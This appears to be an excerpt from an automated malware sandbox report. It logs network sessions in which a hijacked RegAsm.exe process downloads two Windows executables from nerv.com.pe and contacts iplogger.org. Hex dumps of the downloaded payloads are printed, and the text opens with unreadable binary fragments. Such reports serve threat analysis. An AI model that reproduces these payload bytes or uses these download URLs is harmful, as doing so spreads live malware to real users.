HvHD$H@0H(]HOWmHH$HD$EWL5XeM6M6HL$H\$8HHtHHD$HD$UHH8IN0HL$ HL$ H1HtkLt$0H}-IN0HVmH9H
2024-09-21 11:33:43 UTC	1024	IN	Data Raw: c3 41 83 e0 07 47 0f b6 24 10 41 80 fc 01 76 d6 41 80 fc 04 74 d0 41 83 e3 07 44 0f b6 66 50 4d 89 e5 4d 0f af e3 4d 89 d7 4f 8d 24 14 4d 8d 64 24 08 8b 4e 54 0f ba e1 00 73 04 4d 8b 24 24 44 88 4c 24 1f 4c 89 64 24 48 0f b6 7e 51 49 0f af fb 4a 8d 3c ef 4a 8d 3c 17 48 8d 7f 08 48 89 7c 24 38 48 83 fa ff 0f 84 2b 01 00 00 44 0f b6 53 08 41 f6 c2 08 0f 85 1c 01 00 00 4c 89 44 24 30 0f ba e1 02 73 07 b9 01 00 00 00 eb 43 48 8b 4e 30 48 8b 51 18 48 8b 0a 4c 89 e0 48 89 c3 ff d1 48 8b 54 24 20 48 8b 5c 24 50 48 8b 74 24 40 48 8b 7c 24 38 4c 8b 44 24 30 44 0f b6 4c 24 1f 4c 8b 64 24 48 4c 8b 7c 24 58 89 c1 48 8b 44 24 70 84 c9 75 37 0f b6 48 4a ff c9 49 89 d2 48 d3 ea 47 0f b6 1c 38 41 83 e3 01 80 f9 40 4d 19 ed 49 21 d5 4d 39 eb 0f 84 9f 00 00 00 4c 89 d2 48 Data Ascii: AG$AvAtADfPMMMO$Md$NTsM$$DL$Ld$H~QIJ<J<HH\|$8H+DSALD$0sCHN0HQHLHHT$ H\$PHt$@H\|$8LD$0DL$Ld$HL\|$XHD$pu7HJIHG8A@MI!M9LH
2024-09-21 11:33:43 UTC	2368	IN	Data Raw: 4b 08 83 e1 f7 88 4b 08 83 3d 02 8b 58 01 00 74 0c 48 8b 4b 18 e8 67 c1 05 00 49 89 0b 48 c7 43 18 00 00 00 00 48 c7 43 20 00 00 00 00 66 c7 43 0a 00 00 48 c7 03 00 00 00 00 e8 e2 6f 05 00 48 8b 4c 24 30 89 41 0c 48 8b 41 28 48 85 c0 74 35 83 3d ba 8a 58 01 00 74 20 48 8b 10 0f 1f 44 00 00 e8 5b c1 05 00 49 89 13 48 8b 50 08 49 89 53 08 48 8b 50 10 49 89 53 10 44 0f 11 38 48 c7 40 10 00 00 00 00 0f b6 59 09 48 8b 51 10 48 8b 44 24 28 48 89 d1 e8 a7 e5 ff ff 48 85 db 74 2a 48 8b 4c 24 30 48 8b 51 28 84 02 83 3d 60 8a 58 01 00 74 10 e8 e9 c0 05 00 49 89 1b 48 8b 72 10 49 89 73 08 48 89 5a 10 eb 05 48 8b 4c 24 30 0f b6 51 08 f6 c2 04 75 16 48 8d 05 99 c1 a8 00 bb 15 00 00 00 e8 99 8d 02 00 48 8b 4c 24 30 0f b6 41 08 83 e0 fb 88 41 08 48 83 c4 18 5d c3 48 ff Data Ascii: KK=XtHKgIHCHC fCHoHL$0AHA(Ht5=Xt HD[IHPISHPISD8H@YHQHD$(HHt*HL$0HQ(=`XtIHrIsHZHL$0QuHHL$0AAH]H
2024-09-21 11:33:43 UTC	16384	IN	Data Raw: 44 0f b6 44 24 1f 4c 8b 4c 24 38 4c 8b 94 24 90 00 00 00 4c 8b 5c 24 28 4a ff 44 0c 50 44 0f b6 60 50 4e 01 64 0c 58 44 0f b6 60 51 4e 01 64 0c 60 44 89 c1 4c 8b 4c 24 20 e9 6d fc ff ff 4c 89 c8 b9 02 00 00 00 e8 b6 bb 05 00 48 8d 05 d7 b1 a7 00 bb 0d 00 00 00 e8 05 84 02 00 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 90 98 05 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 90 e9 7b fa ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 9e 00 00 00 55 48 89 e5 48 8b 50 20 48 8d 72 01 48 89 70 20 48 81 c2 01 04 00 00 48 39 d1 48 0f 42 d1 eb 07 48 ff c6 48 89 70 20 48 8b 70 20 48 39 d6 74 19 0f b7 7b 52 48 0f af fe 48 03 78 18 0f b6 3f 83 c7 fe 90 40 80 ff 03 72 d7 48 39 f1 75 4e 83 3d d1 80 58 01 Data Ascii: DD$LL$8L$L\$(JDPD`PNdXD`QNd`DLL$ mLHHD$H\$HL$HD$H\$HL${I;fUHHP HrHp HH9HBHHp Hp H9t{RHHx?@rH9uN=X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49730	162.241.61.218	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:33:43 UTC	198	OUT	GET /vfsdgdf.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: nerv.com.pe Cache-Control: no-cache
2024-09-21 11:33:43 UTC	249	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:43 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 20 Sep 2024 21:15:00 GMT Accept-Ranges: bytes Content-Length: 423328 Content-Type: application/x-msdownload
2024-09-21 11:33:43 UTC	7943	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 32 e5 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 1c 06 00 00 08 00 00 00 00 00 00 ee 3a 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL2f: @@ `
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: c4 0f b7 74 ab d0 4a 21 fc ad e7 fc 29 13 28 11 95 ee ca cf 23 98 c5 84 24 0c 88 81 33 93 c1 c4 5e f4 8f c3 fa c7 14 3c a5 09 ae db 0a 48 95 7a e8 70 12 f7 28 a7 bd 5a 15 dd 65 94 7f 03 27 f9 39 63 7c cc ef 29 39 e2 e7 50 8d 32 4c 60 ac 4c 0f 70 84 c4 45 bc 21 bf bb ec f3 d9 65 be df 80 59 2c f4 72 5f b4 e6 d5 9f 1f d3 7f 7e 07 ae 7e a6 ae 36 51 c4 fc 80 07 53 fb 23 9d ae 3a 87 4a d9 0b 02 49 e4 8a 01 b7 f5 48 94 9e 4b 71 74 49 ac c3 c3 38 0e a6 75 98 2e f4 52 3d b3 e8 eb 80 30 1e e0 1c 1b df 0d 6f 92 e9 8c 0e cd 53 7b cf 39 eb 9c b7 b3 c1 e7 53 73 d1 42 e9 1d f1 6b 1c 22 04 6f 10 a4 a6 8d 4e ff 02 18 0e ac cf ef 29 c2 20 63 d3 4a 15 3f cd 51 71 39 6b 3f 8a 5e 53 dd 40 b1 44 6a 5e 82 70 c2 af e4 af 90 e6 78 34 ba a7 6b 42 38 64 d0 41 e3 2d 2a 1f 6f 12 41 Data Ascii: tJ!)(#$3^<Hzp(Ze'9c\|)9P2L`LpE!eY,r_~~6QS#:JIHKqtI8u.R=0oS{9SsBk"oN) cJ?Qq9k?^S@Dj^px4kB8dA-*oA
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: 46 a4 73 b6 d2 37 64 bb 6e f0 75 f3 9f e1 42 b3 83 d9 29 7d d0 44 bf 95 1c 24 7b c4 96 8c 38 52 f0 d7 62 61 8e 5b 80 c7 2c 92 0e 64 f9 b4 c2 f4 6d ab 9e ad a0 a2 27 d3 bb 9b 40 8a ba 79 82 94 50 0c 6e ab 07 f0 69 f4 f7 ab 60 ed 16 7e d3 4d f8 f1 34 32 c1 07 9d 09 dc e9 e1 05 d1 fa cb bc f6 17 8f 4a 53 f7 93 ab d7 6c 95 13 76 d5 b9 a0 2e 7f c3 40 b0 2d b9 1d f4 f2 3a d0 ce ce 3e b3 20 4f 84 76 bd cd c1 76 ce 0a 37 32 bc 2a c7 3a dd e1 96 12 ac a0 36 3e 0f 2b e3 e9 20 a9 e3 6c f6 e1 e6 9a 3e d4 f6 c9 59 1c 1d c4 aa d4 79 6e fb de 55 8e 49 53 6f 4a bc ec 13 48 3f 67 44 dd c0 23 26 61 b2 61 90 8c 12 5d 1e 2e df 3a a7 22 76 65 0d 75 03 df 60 4a 4c 60 1b f2 88 66 82 9e 7d fe 5c 4d 54 57 2f ba 82 c5 a8 f1 65 b5 ee a9 55 e4 9d 83 c1 22 0b 26 3c 56 93 14 cd 8f 9e Data Ascii: Fs7dnuB)}D${8Rba[,dm'@yPni`~M42JSlv.@-:> Ovv72*:6>+ l>YynUISoJH?gD#&aa].:"veu`JL`f}\MTW/eU"&<V
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: ed 0c d9 ee 13 d4 76 b0 bd 1b 6b 0f 65 6e ee 8b 1d f0 20 b4 7d fe b8 22 b6 7e a1 2e 24 18 8b 77 c8 cb 0c 6b f9 2d 54 15 fb ce d4 b3 b8 0d 70 0a 1e 88 2e 47 9d 18 9a 29 9d 62 9b a1 73 c7 6e 96 c0 83 25 eb e8 69 09 1e a6 cf ad 60 c6 93 49 99 69 5c 6b 61 66 70 4d 18 b8 39 43 c6 b1 97 59 81 4b 83 80 5c c7 7d f3 90 e7 ba 5b 84 f5 f9 b4 b3 1b 3a bd 00 75 c1 08 43 ea 76 6d db c4 cb 10 62 77 be 95 3b e9 f6 32 ff fe e9 ae 0c 53 e0 41 32 50 ff 27 0e a3 9a be 6e 5c db 5f a8 a5 cf 48 4c d3 63 0d 89 0b 51 9e 18 61 91 5b 67 72 3c 05 f2 11 c8 b7 30 4c ff dc 09 63 26 60 33 db 4a 2d c0 73 25 6e 0b ad 5a 9e a7 7f d0 6a 4e 75 a3 21 b2 00 0a 4c 56 c9 af 0c 45 5d c7 af 0e 6c 63 ec a5 79 b3 b9 4a d2 c7 93 c7 07 1d f4 ff 02 47 0b 55 da d3 a0 a9 fc e0 cd 15 f6 bf c4 23 8c d0 02 Data Ascii: vken }"~.$wk-Tp.G)bsn%i`Ii\kafpM9CYK\}[:uCvmbw;2SA2P'n\_HLcQa[gr<0Lc&`3J-s%nZjNu!LVE]lcyJGU#
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: 1b 16 ef e4 fb 69 9b 90 d5 20 e4 8e 4d d2 65 02 87 48 e3 a3 d2 a1 bb 28 22 e1 d8 fb ec 67 23 ad 26 a3 e1 f3 c2 83 ab 88 49 fb be eb 76 98 5a ca 5b c9 12 af d3 10 cb a8 d0 4f fa a1 db 9d e8 15 79 95 7d 95 87 50 36 f1 55 b9 11 00 5f b9 a1 db 3d 51 6c 10 6c 1b 8c f2 02 5f 7b 33 78 09 3e fc d9 75 08 01 62 ee c0 8b 33 bc 0c e2 33 60 2b 4a c4 74 78 36 77 a3 72 53 cd 92 a5 a6 3d da 03 a4 22 be 20 df fd f9 ad 18 6e 15 ae 97 49 f5 d4 a1 65 c4 d8 70 b5 92 ff d6 ef 4f 30 8b 93 a3 5e 09 3d e7 55 54 06 a1 50 71 27 a6 36 e0 79 47 df a0 5f 20 1d f4 ac d1 1e 7a f7 c4 1b 81 09 7c dd 26 d6 81 26 a5 d5 4c 1e cd 71 ef 4a 33 a7 6d 3d fe 0f 6a 83 09 39 4f 3b 4b b8 fc 48 92 6e 3a 34 b2 63 3c b5 5c a8 b1 8f 44 87 09 0f cb d0 ec 20 d6 56 04 58 08 7b 75 cc fd fc bd 1a b1 78 60 20 Data Ascii: i MeH("g#&IvZ[Oy}P6U_=Qll_{3x>ub33`+Jtx6wrS=" nIepO0^=UTPq'6yG_ z\|&&LqJ3m=j9O;KHn:4c<\D VX{ux`
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: 39 63 44 fc 39 55 42 e9 1f fb a3 f7 47 6e 00 5b 91 ab ef c4 4e aa b1 d2 3c 7e 14 59 e4 e3 32 e1 7b 8c 42 a4 26 cb bc cd de 76 45 ee e9 fc ce cc e8 1d 6c 6b 51 0a ca b9 b2 dc 68 3d c0 43 78 be 7b e6 02 6e ce a9 ac 9e 54 66 80 99 73 82 73 e4 1c 63 91 84 0d 68 dc 0d e6 8e 16 a3 0a 2e 67 7f 34 80 0b 32 f8 f8 bd d7 9f 62 18 67 12 d4 63 16 ac 8a 0f 41 f2 8b 2e 91 ff 57 ee ab 1b c8 57 e6 65 8a 3b 0f 38 2c 9c 7d f6 8c 35 75 90 34 2b 34 8f 0b 54 2f 09 17 a5 a4 cf df cb b2 76 23 02 ff e3 7d 60 0b 8c c5 70 11 df ba 3c f7 ad 2b b7 21 09 95 4d d1 0e 8c 44 12 ce f7 0a 69 30 98 01 1a 90 9e d3 f3 83 6f 8e 82 22 bf ec 8c c2 8f e3 88 40 65 f5 6a a7 5c 26 a8 28 69 4e f3 b3 78 70 4d df 17 f7 8b 63 6b be e3 a0 03 38 6a 09 d2 6e 48 88 11 33 61 26 4b 74 c0 87 33 1e 2c 10 b5 61 Data Ascii: 9cD9UBGn[N<~Y2{B&vElkQh=Cx{nTfssch.g42bgcA.WWe;8,}5u4+4T/v#}`p<+!MDi0o"@ej\&(iNxpMck8jnH3a&Kt3,a
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: cb e1 e5 7b 46 31 f1 5d 84 0a 1a 85 27 5e 55 f9 cf 93 6f 6f 1a f0 f0 81 da 75 60 95 3b e3 f6 58 73 ef 1c 03 64 49 bd ef a9 ff bf a6 f4 98 5d b9 44 76 64 be ca b0 99 33 9a 08 6a c7 4f 41 d9 8e 31 b6 97 82 37 bb be f5 8e 92 ed 91 64 20 5e e9 9e 55 9f 75 73 e8 62 e0 fc 7a b8 b6 95 5b 25 97 06 78 8a c2 67 a8 ef 97 96 48 ab 8f b4 62 97 22 10 a0 e4 d5 50 7b 8e c8 17 3b 44 7f f9 18 38 51 f9 40 73 96 af dd cd 7c 56 d5 80 f2 cb ad 70 be 6c 0e d8 e9 58 4c 2e 73 c1 77 32 9b 23 82 55 07 96 50 ac c1 76 77 26 d8 d6 1e c6 9d 94 50 56 16 d7 1b e7 77 c5 2f b2 4e e5 d2 a0 6a 9c 60 ba 93 99 50 a6 93 ac 39 de 6e 8d 9c b2 c2 7f 7a 74 ee 15 10 e1 3f 68 08 e4 3b 8c 45 f3 cb 06 55 ea 9a 00 af ba 26 57 39 03 13 11 4b 73 60 a8 82 ab b4 bd 61 e2 93 c5 17 57 33 29 5a f2 4d 09 bf d3 Data Ascii: {F1]'^Uoou`;XsdI]Dvd3jOA17d ^Uusbz[%xgHb"P{;D8Q@s\|VplXL.sw2#UPvw&PVw/Nj`P9nzt?h;EU&W9Ks`aW3)ZM
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: 02 0a de 83 ee 67 ae e4 3b 19 3d d3 45 04 65 b6 fb 16 0d c5 c9 8c 42 10 1b 50 59 34 6b d3 32 80 8c bf 6a 89 66 45 9e 84 a6 64 ca 23 5f 8c 55 e9 f8 f4 c0 34 ab a6 3e d6 83 73 d8 32 d4 66 08 04 a9 cd a2 f3 29 bc 0c a9 ce 9b 04 97 9c 30 4e 92 ac 47 0d d7 c6 e4 3c e4 47 20 b0 4b 72 48 63 18 6d 85 9b 1e b2 3f da b2 c2 0e db 63 4a 3d b4 3b f5 5b bc bf e2 40 da 85 d5 52 11 8f fd 52 c2 54 7e cc 60 c8 f0 5b 9f 07 cf 71 fb 6c c7 c8 54 29 0c fe 5c c2 a6 97 43 cb 5f ac 00 9b 9a 9a 93 d9 f3 e6 14 48 c9 ce 1b bf c1 5a e8 d7 4e d9 e7 96 67 2c dc 32 b3 00 d1 1a fa 43 46 22 77 98 df 41 26 7b 4b 2b a2 7b 75 8d 4a 6b 35 1a 2a 92 c3 8f 12 f2 0f 6a 27 ee b6 21 b8 0d ac 94 16 e6 66 98 47 58 57 6f e4 03 cc c7 79 72 b6 87 24 16 d7 5b 90 28 dd 3d d4 ae a9 8d a5 da 4d ee f6 3f 66 Data Ascii: g;=EeBPY4k2jfEd#_U4>s2f)0NG<G KrHcm?cJ=;[@RRT~`[qlT)\C_HZNg,2CF"wA&{K+{uJk5*j'!fGXWoyr$[(=M?f
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: 95 20 3d 81 93 d0 1b ff ac 30 6c 1f 98 b1 a7 ce 9b a6 49 32 80 aa f2 9c 7b 84 83 14 4d 83 07 97 8c 86 86 3e cd 74 54 98 6d 3d 29 ce 1b 6a f0 47 a4 4d ed cf 07 d5 aa 83 ca d4 13 2d b4 bf 6d e9 9e c1 18 40 10 5a 9b b7 cf a7 6e 50 4d 70 fc 70 4c a3 17 15 c6 bc f5 1c 36 cb 2c 34 72 3d 01 7f df 11 4f 31 6d e2 b2 ba 21 cf 42 d7 89 80 c9 59 89 42 29 55 12 50 fb 3b 2f 27 11 20 9a ef da b4 b4 84 08 f2 e0 3a 46 d7 70 cb 59 05 f0 41 8c 1d 76 37 8c 04 46 24 e8 10 99 15 4a 0b a9 9d 1e 94 6c 40 63 f6 42 e3 3a 96 8b d6 54 32 65 f9 42 ed 9c 4d 15 16 ed db a8 25 41 a1 f8 a6 d8 9c dc cd 84 77 57 2b d4 60 f7 84 f0 ae 86 c1 68 06 44 4f f3 c4 db 67 39 95 65 2a f5 13 82 da 8b 02 e3 f9 0d cd 3e b5 42 65 f0 40 0f 6e eb c6 59 6f 7a b9 9d 81 3a d5 65 e2 4d e3 42 59 6f e5 9b c9 af Data Ascii: =0lI2{M>tTm=)jGM-m@ZnPMppL6,4r=O1m!BYB)UP;/' :FpYAv7F$Jl@cB:T2eBM%AwW+`hDOg9e*>Be@nYoz:eMBYo
2024-09-21 11:33:43 UTC	8000	IN	Data Raw: 6a 5f a6 25 2a 96 02 47 8c ed 89 de 3c 72 ba 69 63 3e 89 9c 33 85 90 22 ae 3e 60 f6 2b a3 53 5a d0 c5 fa d1 f0 cd ac f9 5e 88 71 34 ed 98 55 2a 0a 2c a9 1b e3 86 38 8f 9a 9d fe 83 2b ea 4e ef 74 6d 9e ad 6a 56 56 9d a3 bd 9e 1d bd 6b 0e 56 69 df b3 79 72 ef 08 83 af 0e 4d b0 1e bc 7a 1c a3 6b 8b 48 9c 87 7b 38 c4 91 d4 d7 f8 39 da c8 1b b0 ca 8d 12 a1 e8 47 79 1e 50 83 3d f5 2a c2 a8 f8 92 44 6e 03 b1 3c ff a8 a5 2f 81 23 7a 5a d0 10 61 80 81 a4 02 11 62 db 15 3c 18 30 e7 2a 62 70 29 88 32 eb 08 0a d3 4e 2c f7 83 f8 e2 ff 7f a2 d2 ad bd b7 13 a5 8d 99 00 b3 e3 ed a2 b2 2f ac 59 1e a1 61 7c 01 71 de 1d 8c ad 5a 86 60 0b ef 6b 73 68 77 8c 41 68 6e 08 2d 65 04 32 bd db 16 52 8c a9 40 bb 49 97 35 3a ce 5e e7 69 e6 da c1 4c fd ea 71 4b 4c 78 c8 1c f2 7b ee bc Data Ascii: j_%G<ric>3">`+SZ^q4U,8+NtmjVVkViyrMzkH{89GyP=Dn</#zZab<0bp)2N,/Ya\|qZ`kshwAhn-e2R@I5:^iLqKLx{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49739	104.26.2.46	443	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:04 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: iplogger.org
2024-09-21 11:34:04 UTC	1000	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:04 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.4308929443359375 expires: Sat, 21 Sep 2024 11:34:04 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 40589004137263905=2; expires=Sun, 21 Sep 2025 11:34:04 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.33; expires=Sun, 21 Sep 2025 11:34:04 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3YPah2QZx%2BrdGyyEfzmilfiWPC%2BygnHPoIfKq4LvPx4%2BoD%2B%2B0TRuVjFx2jjnLbga%2BDvENLf2YDAEWL1zDCz%2F15RXao2cb6iubtHP8cNKi8z8phLtYwy5s10ksrrv4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c69be75ca377c78-EWR
2024-09-21 11:34:04 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-09-21 11:34:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49754	162.241.61.218	443	6524	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:34:33 UTC	73	OUT	GET /lgsfdam.exe HTTP/1.1 Host: nerv.com.pe Cache-Control: no-cache
2024-09-21 11:34:33 UTC	249	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 20 Sep 2024 21:15:04 GMT Accept-Ranges: bytes Content-Length: 390560 Content-Type: application/x-msdownload
2024-09-21 11:34:33 UTC	7943	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d2 e4 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9c 05 00 00 08 00 00 00 00 00 00 ee ba 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ `
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: 99 89 1a 7b 41 09 78 80 65 65 2e 2f 9a 44 d1 d3 98 5d 4c ea 04 51 72 87 2a cf d2 e6 86 29 49 b8 24 b8 25 05 c5 4c bf 6c ee 87 88 98 de 47 cf a6 7f 98 b1 db a7 f2 92 51 08 23 93 a0 c6 06 f4 2f d1 3b b9 a7 ab 1d 50 f2 22 e3 73 b2 5c 16 fd c5 5f 3c 3f 25 6c dd 54 30 1d 51 7c 09 06 ae a3 39 b1 18 4a aa d0 00 4c 06 1d 72 bf ea a5 47 ac bb a0 47 67 19 4f 26 fa 43 03 70 65 96 d6 a7 33 c7 c5 e2 fd a3 c5 cb 5e 95 41 ea 00 a5 b0 26 1f 7b 26 51 fa a8 82 ef 06 95 ab c8 e0 31 71 d7 b6 16 74 5f 9c 87 31 05 f5 60 60 41 ec 55 bb 23 31 eb 3e 3e 8a ec d8 36 95 57 4e 90 b3 52 e6 03 d7 e2 c4 67 4e f0 fa ed 0a 59 78 e1 91 34 30 02 5e fa 81 28 da 08 4b e4 6b f7 66 de c1 14 3a e8 8f 57 56 65 8d ee 87 94 76 90 50 1a e8 f9 8e 7f c9 dc ac a2 1e 22 de 9e c3 b4 75 cd b6 46 75 2a 9b Data Ascii: {Axee./D]LQr)I$%LlGQ#/;P"s\_<?%lT0Q\|9JLrGGgO&Cpe3^A&{&Q1qt_1``AU#1>>6WNRgNYx40^(Kkf:WVevP"uFu
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: b7 a9 9b c5 f6 61 2a aa 18 64 f6 dc cb 3a e3 9a c5 ab d6 6c 11 9f db 5e d8 28 6c 9c d9 ea 52 da fc 92 d5 ef 40 e4 6f 79 f0 53 c1 62 85 0d 8c b5 c6 b6 55 7d c5 05 19 46 39 50 74 a5 9e e3 d4 2b 9a 4a b2 07 a3 0d 9f 31 0a 53 69 a3 8c 40 83 88 75 cb 8f f5 02 6a cc 16 9e 4b 32 8b 2e f9 13 c7 b7 ae 63 fb 43 e6 49 10 c0 d9 b0 af 72 ee 26 eb b5 8f 9f 3c 04 80 71 eb 47 56 66 2a df 06 e6 c0 49 44 5b e9 c2 5c 17 91 24 65 87 ef 38 45 3e 24 59 d2 9f 53 35 6c 56 96 a3 7c 17 a2 c0 93 a2 1b b4 f7 ab 2d 91 6f b3 4d bd 88 ec 4b 30 56 89 a6 15 54 c2 d3 b5 11 74 13 2a f4 80 7d 5c 01 ff ee a6 b4 88 b1 45 b5 bd 95 db d2 67 2b af 68 1f c8 0b 80 2f ff 60 ff 1d d8 e4 22 0d 0c 51 f7 a1 de 60 2a 15 36 18 0c 82 b5 56 f1 3a 0e 12 c5 60 c0 b1 08 53 ef 7f be 89 b9 53 7d 47 84 0a a5 7c Data Ascii: ad:l^(lR@oySbU}F9Pt+J1Si@ujK2.cCIr&<qGVfID[\$e8E>$YS5lV\|-oMK0VTt}\Eg+h/`"Q`6V:`SS}G\|
2024-09-21 11:34:33 UTC	8000	IN	Data Raw: 67 a7 4e ad a2 5d e0 f1 f8 94 1e aa 2f 8a b1 05 80 bf 51 2c 60 8f f8 a1 b4 de cc 29 04 cf 2a 7b 51 6d 66 08 1b d3 1e e2 1e fb a9 49 52 30 bb 7e cd 43 9f a5 bb 0b 64 43 7b 77 30 d9 5e cc ad 32 3a 17 3b 41 c8 93 b8 e8 da f8 85 29 f9 a8 29 2f b3 15 f1 e2 6a fd af 6d 60 6b 15 d7 75 fe 02 2a 0c 50 a0 3e 30 37 30 65 67 70 16 f4 0f a2 50 61 0d 25 1f 41 4c b4 a0 95 5d 9f 77 29 08 1f 0f 97 e5 95 9d 1c 87 01 de 66 fc ac 89 14 af 36 c1 63 70 2e 83 4c 68 92 95 00 8e f5 90 33 49 bb 75 da 66 7f 32 9f 5c ff c0 3e 79 7b fe 46 cf 9d 82 cf c0 c6 89 c9 a7 59 8d 42 06 e0 34 de 74 e1 58 8b e2 03 7e 63 82 c3 65 51 50 9d a9 e0 58 ee e3 8c c3 22 fb 38 b0 03 45 9c 1e e6 f4 2a cd 03 0a 32 16 c7 ba 0a 9f bd 69 b5 65 70 cd 33 46 ea 6e d2 90 79 80 ba c2 01 de ca 99 3d 6e d5 b7 98 ca Data Ascii: gN]/Q,`){QmfIR0~CdC{w0^2:;A))/jm`kuP>070egpPa%AL]w)f6cp.Lh3Iuf2\>y{FYB4tX~ceQPX"8E*2iep3Fny=n
